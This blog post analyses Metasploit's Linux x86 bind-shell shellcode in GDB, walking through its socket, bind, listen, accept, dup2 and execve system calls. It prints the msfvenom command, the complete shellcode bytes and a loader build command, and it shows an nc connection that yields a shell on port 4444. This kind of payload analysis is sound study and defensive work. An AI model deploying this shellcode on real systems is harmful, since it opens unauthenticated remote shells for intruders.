sparkyvxcx's Blog

MSF Payload Analysis I

June 18, 2020

This note is about the analysis of Metasploit framework generated shellcode.

  • OS: Ubuntu 16.04 32 bit

  • Debugger: GDB

  • Plug-in: pwndbg

  • Payload: linux/x86/shell_bind_tcp

Prerequisite

Generate shellcode:

$ msfvenom -p linux/x86/shell_bind_tcp -f c LHOST=0.0.0.0 LPORT=4444 -b \x00

Output (Payload size: 78 bytes):

unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";

Compile loader.c file into msf_bind_shellexecutable:

$ gcc -m32 -fno-stack-protector -z execstack load.c -o msf_bind_shell

Note: Before launch gdb, I do recommend to use some handy tools to boost this analysis process, cause constantly typing disassemble or x/gbwx $esp/$eip/... hunts my finger. For example, gdb pwn dev extensions like pwndbg or gef, both were very fine gdb plug-in which can give you a colorful prompt at each breakpoint or interrupt your encountered, containing detailed information like register value, stack layout, etc. In this case, I use pwndbg to help me dissect the functionality of msf shellcode.

Dynamic Analysis

Launch GDB:

$ gdb -q ./msf_bind_shell

Disassemble the main function to locate memory address of shellcode entry point:

(gdb) disassemble main

The entry point is located at the last call before function ret. In my case, the shellcode entry point is at 0x08048477.

Then, set breakpoint at this location and run it:

(gdb) break *0x08048477
(gdb) run

Now the program will hit this breakpoint, step into entry shellcode execution:

(gdb) stepi

If you have pwndbg plug-in installed before, you will now have this prompt displayed:

gdb-pwndbg

Before diving into assembly code, here is a quick rehearsal about each register’s functionality when calling syscall, the syscall interface under 32-bit Linux is provided through soft-interrupt 0x80. The table below describes each register’s usage when evoking syscall.

RegisterUsage
EAXSyscall number
EBXArgument 1
ECXArgument 2
EDXArgument 3
ESIArgument 4
EDIArgument 5

Now move on, disassemble this frame by use disassemble or x/43i $esp command.

Socket() System call

Assembly snippet 1:

0x0804a040 <+0>:    xor    ebx, ebx ; shellcode entrance
0x0804a042 <+2>:    mul    ebx      ; set both eax, edx to 0x00000000
0x0804a044 <+4>:    push   ebx
0x0804a045 <+5>:    inc    ebx      ; ebx now holds value 1
0x0804a046 <+6>:    push   ebx
0x0804a047 <+7>:    push   0x2
0x0804a049 <+9>:    mov    ecx, esp ; ecx holds stack address which point to value 2
0x0804a04b <+11>:   mov    al, 0x66 ; assign 102 to register al which calling sys_getuid
0x0804a04d <+13>:   int    0x80

The above code indicates that first, it zeroes out register EBX, so does register EAX and register EDX, and push EBX into the current stack frame, after that, it increments 1 for EBX and push it into the stack followed another push to push 0x2 into the stack again.

Now the stack frame will look like this:

         Address      Stack
                  +------------+
          ....    |    ....    |
                  +------------+
esp —▸ 0xbfffef60 | 0x00000002 |
                  +------------+
       0xbfffef64 | 0x00000001 |
                  +------------+
       0xbfffef68 | 0x00000000 |
                  +------------+
          ....    |    ....    |
                  +------------+

Next instruction moves ESP’s value to register ECX and move 0x66 (decimal 102) into 8-bit sub-register AL from EAX. Now it’s clear that the program has EBX (Argument 1) holds 1 refer to the actual sub-function socket and ECX (argument 2) holds the reference to argument array passed to the sub-function socket with syscall number 102 which stands for sys_socketcall system call.

pwngdb plug-in had register listed out before execute int 0x80:

sys_socket

Scoketcall stands for socket system calls, here is the definition:

int socketcall(int call, unsigned long *args);

And argument description:

call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call.

Possible call values are defined as follow:

#define SYS_SOCKET      1       /* sys_socket(2) */
#define SYS_BIND        2       /* sys_bind(2) */
#define SYS_CONNECT     3       /* sys_connect(2) */
#define SYS_LISTEN      4       /* sys_listen(2) */
#define SYS_ACCEPT      5       /* sys_accept(2) */
#define SYS_GETSOCKNAME 6       /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7       /* sys_getpeername(2) */
#define SYS_SOCKETPAIR  8       /* sys_socketpair(2) */
#define SYS_SEND        9       /* sys_send(2) */
#define SYS_RECV        10      /* sys_recv(2) */
#define SYS_SENDTO      11      /* sys_sendto(2) */
#define SYS_RECVFROM    12      /* sys_recvfrom(2) */
#define SYS_SHUTDOWN    13      /* sys_shutdown(2) */
#define SYS_SETSOCKOPT  14      /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT  15      /* sys_getsockopt(2) */
#define SYS_SENDMSG     16      /* sys_sendmsg(2) */
#define SYS_RECVMSG     17      /* sys_recvmsg(2) */

Therefore, what this snippet actually does is invoking sub-function socket function, with actual arguments consist of 0x2, 0x1 which stands for AF_INET and SOCK_STREAM. After execution, this syscall return value is 0x3 a file descriptor, and stored in register EAX.

Synopsis of function socket:

       #include <sys/types.h>          /* See NOTES */
       #include <sys/socket.h>

       int socket(int domain, int type, int protocol);

Possible return value:

On success, a file descriptor for the new socket is returned. On error, -1 is returned, and errno is set appropriately.

Bind() system call

Assembly snippet 2:

0x0804a04f <+15>:   pop    ebx        ; ebx now holds 0x2
0x0804a050 <+16>:   pop    esi        ; esi now holds 0x1
0x0804a051 <+17>:   push   edx        ; edx holds 0x0, null terminate following content
0x0804a052 <+18>:   push   0x5c110002 ; 0x5c11 stand for 4444, 0x0002 stand for family AF_INET in little endian format
0x0804a057 <+23>:   push   0x10
0x0804a059 <+25>:   push   ecx        ; push previous stack point (now pointing to 0x5c110002) into stak
0x0804a05a <+26>:   push   eax        ; push previous syscall return value into stack to save file descriptor
0x0804a05b <+27>:   mov    ecx,esp    ; save current stack point to ecx
0x0804a05d <+29>:   push   0x66       ; push 0x66 (102) into stack
0x0804a05f <+31>:   pop    eax        ; pop 0x66 (102) out of stack and store it in register eax
0x0804a060 <+32>:   int    0x80

Again, since EBX holds 0x2 the actual function got invoked is sub-function bind, and ECX holds the address of the other arguments.

Synopsis from man page:

   int bind(int sockfd, const struct sockaddr *addr,
            socklen_t addrlen);

Possible return value:

On success, zero is returned. On error, -1 is returned, and errno is set appropriately.

Stack layout:

               Address      Stack
                        +------------+
                ....    |    ....    |
                        +------------+
esp (ecx) —▸ 0xbfffef54 | 0x00000003 | ◂— socket file descriptor                      [0]
                        +------------+
             0xbfffef58 | 0xbfffef60 | ◂— memory address of bind address (0x5c110002) [1] —▸ [3]
                        +------------+
             0xbfffef5c | 0x00000010 | ◂— length of address                           [2]
                        +------------+
             0xbfffef60 | 0x5c110002 | ◂— reference by 0xbfffef58                     [3]
                        +------------+
             0xbfffef64 | 0x00000000 |
                        +------------+
                ....    |    ....    |
                        +------------+

Before calling syscall:

sys_bind

If nothing goes wrong, the content of register EAX will change to 0, indicate zero is returned. Now, socket successfully binds to port 4444, the next step is to set the listener handler to handle incoming connection.

Listen() system call

Assembly snippet 3:

0x0804a062 <+34>:   mov    DWORD PTR [ecx+0x4],eax ; eax holds 0x0, set stack address 0xbfffef58 to 0x00000000
0x0804a065 <+37>:   mov    bl,0x4                  ; set ebx to 0x4, perpare to invoke SYS_LISTEN(4)
0x0804a067 <+39>:   mov    al,0x66                 ; set sys_socketcall number
0x0804a069 <+41>:   int    0x80                    ; system interrupt - calling syscall

Register EBX set to 4, hence sub-function listen will be called.

Synopsis of listen function:

int listen(int sockfd, int backlog);

Possible return value:

On success, zero is returned. On error, -1 is returned, and errno is set appropriately.

Description:

listen() marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using accept(2).

The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET.

The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow. If a connection request arrives when the queue is full, the client may receive an error with an indication of ECONNREFUSED or, if the underlying protocol supports retransmission, the request may be ignored so that a later reattempt at connection succeeds.

Stack layout:

               Address      Stack
                        +------------+
                ....    |    ....    |
                        +------------+
esp (ecx) —▸ 0xbfffef54 | 0x00000003 | ◂— socket file descriptor [0]
                        +------------+
[ecx+0x4] —▸ 0xbfffef58 | 0x00000000 | ◂— backlog                [1]
                        +------------+
             0xbfffef5c | 0x00000010 |
                        +------------+
             0xbfffef60 | 0x5c110002 |
                        +------------+
             0xbfffef64 | 0x00000000 |
                        +------------+
                ....    |    ....    |
                        +------------+

Accept() systemcall

Assembly snippet 4:

0x0804a06b <+43>:   inc    ebx     ; increment ebx by 1 which end up to 5 which stand for SYS_ACCEPT(5)
0x0804a06c <+44>:   mov    al,0x66 ; again sys_socketcall number
0x0804a06e <+46>:   int    0x80    ; invoke syscall, waiting for connection

Register EBX increment to 5, therefore, sub-function accept is called.

Definition of accept function:

int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Possible return value:

On success, these system calls return a nonnegative integer that is a descriptor for the accepted socket. On error, -1 is returned, and errno is set appropriately.

Description:

The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket. The newly created socket is not in the listening state. The original socket sockfd is unaffected by this call.

The argument sockfd is a socket that has been created with socket(2), bound to a local address with bind(2), and is listening for connections after a listen(2).

The argument addr is a pointer to a sockaddr structure. This structure is filled in with the address of the peer socket, as known to the communications layer. The exact format of the address returned addr is determined by the socket’s address family (see socket(2) and the respective protocol man pages). When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.

The addrlen argument is a value-result argument: the caller must initialize it to contain the size (in bytes) of the structure pointed to by addr; on return it will contain the actual size of the peer address.

The returned address is truncated if the buffer provided is too small; in this case, addrlen will return a value greater than was supplied to the call.

Stack layout:

               Address      Stack
                        +------------+
                ....    |    ....    |
                        +------------+
esp (ecx) —▸ 0xbfffef54 | 0x00000003 | ◂— socket file descriptor     [0]
                        +------------+
          —▸ 0xbfffef58 | 0x00000000 | ◂— pointer point to sockaddr  [1]
                        +------------+
             0xbfffef5c | 0x00000010 | ◂— pointer point to socklen_t [2]
                        +------------+
             0xbfffef60 | 0x5c110002 |
                        +------------+
             0xbfffef64 | 0x00000000 |
                        +------------+
                ....    |    ....    |
                        +------------+

Before calling syscall:

sys_accept

Hit Enter or stepi to step into system interrupt instruction, program will block and waiting for connection.

Open another terminal, use netcat to establish a connection:

$ nc -v 127.0.0.1 4444

In my case, the return value is 4 which represent newly created socket file descriptor.

Dup2() systemcall

Assembly snippet 5:

0x0804a070 <+48>:   xchg   ebx,eax ; exchange two operands value, swap(eax, ebx), now ebx holds new file descriptor
0x0804a071 <+49>:   pop    ecx     ; pop old socket descriptor out of stack to ecx
0x0804a072 <+50>:   push   0x3f    ; push 0x3f into stack
0x0804a074 <+52>:   pop    eax     ; pop it to eax
0x0804a075 <+53>:   int    0x80

0x0804a077 <+55>:   dec    ecx                ; decrement ecx
0x0804a078 <+56>:   jns    0x804a072 <buf+50> ; jump short if sign flag is not zero

Register EAX now holds 0x3f (63) represent syscall dup2, so this time program is about to invoke dup2 syscall function.

Definition:

int dup2(int oldfd, int newfd);

Possible return value:

On success, these system calls return the new descriptor. On error, -1 is returned, and errno is set appropriately.

What dup2 basically do is to create a copy of the old file descriptor oldfd using new file descriptor newfd. After a successful return, the old and new file descriptors may be used interchangeably, refer to the same open file description, and thus share file offset and file status flags.

Register EBX holds previous newly create file descriptor, however, in this case, it represents oldfd argument from dup2 function, while register ECX holds old file descriptor and represents newfd argument.

Before step in:

sys_dup2

After step in, register EAX change to 3 which represent new file descriptor. Last two instruction stands for a loop, to invoke dup2 function three times, each time with the decremented value from register ECX , each was 2 —▸ 1 —▸ 0, till register ECX end up to 0xffffffff; sign flag is set, hence loop is complete. Finally, proceed to the next instruction to snippet 6.

In short, above loop translate to C code is:

dup2(4, 2); // 2 - standard error
dup2(4, 1); // 1 - standard output
dup2(4, 0); // 0 - standard input

Its purpose is to redirect stderr, stdout, stdin to socket file descriptor in order to construct an interactive interface for this socket connection.

Execve() system call

Assembly snippet 6:

0x0804a07a <+58>:   push   0x68732f2f ; stands for `//sh` in little endian format
0x0804a07f <+63>:   push   0x6e69622f ; stands for `/bin` in little endian format
0x0804a084 <+68>:   mov    ebx,esp    ; save stack pointer esp to ebx
0x0804a086 <+70>:   push   eax        ; push 0x0 into stack
0x0804a087 <+71>:   push   ebx        ; push 0x4 into stack
0x0804a088 <+72>:   mov    ecx,esp    ; save stack pointer esp to ecx
0x0804a08a <+74>:   mov    al,0xb     ; mov 0xb(11) to eax, number 11 is call sign of execve function
0x0804a08c <+76>:   int    0x80
0x0804a08e <+78>:   add    BYTE PTR [eax],al

Use Python3 interpreter to get 0x68732f2f, 0x6e69622f:

>>> '//sh'[::-1]
'hs//'
>>> 'hs//'.encode().hex()
'68732f2f' —▸ 0x68732f2f

>>> '/bin'[::-1]
'nib/'
>>> 'nib/'.encode().hex()
'6e69622f' —▸ 0x6e69622f

Now, we know the program is intended to launch another program /bin//sh. Before system interrupt, register EAX’s content change to 0xb which decimal number 11, so execve is called.

Synopsis:

       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);

Possible return value:

On success, execve() does not return, on error -1 is returned, and errno is set appropriately.

Stack layout:

               Address      Stack
                        +------------+
                ....    |    ....    |
                        +------------+
esp (ecx) —▸ 0xbfffef48 | 0xbfffef50 | ◂— second argument represent address of address of "/bin//sh"
                        +------------+
             0xbfffef4c | 0x00000000 |
                        +------------+
    (ebx) —▸ 0xbfffef50 | 0x6e69622f | ◂— "/bin" = "/bin//sh" ◂— first argument here which is *filename
                        +------------+     +
             0xbfffef54 | 0x68732f2f | ◂— "//sh"
                        +------------+
             0xbfffef58 | 0x00000000 |
                        +------------+
                ....    |    ....    |
                        +------------+

Before execute syscall:

sys_execue

Check out gdb follow execution info:

(gdb) show follow-fork-mode

Set to follow parent:

(gdb) set follow-fork-mode parent

Disable previous breakpoint:

(gdb) disable breakpoints 1
(gdb) continue

Continue to execute syscall will launch the program /bin/dash, netcat will have an interactive shell.

References

x86 Instruction Set: https://c9x.me/x86/

Ubuntu 16.04 Manual: https://manpages.ubuntu.com/manpages/xenial/man2/

System Call Table: https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl

Stackoverflow Question: https://stackoverflow.com/questions/9940391/looking-for-a-detailed-document-on-linux-system-calls


Λrκvxcx

Written by Λrκvxcx, a noob. Follow me on Twitter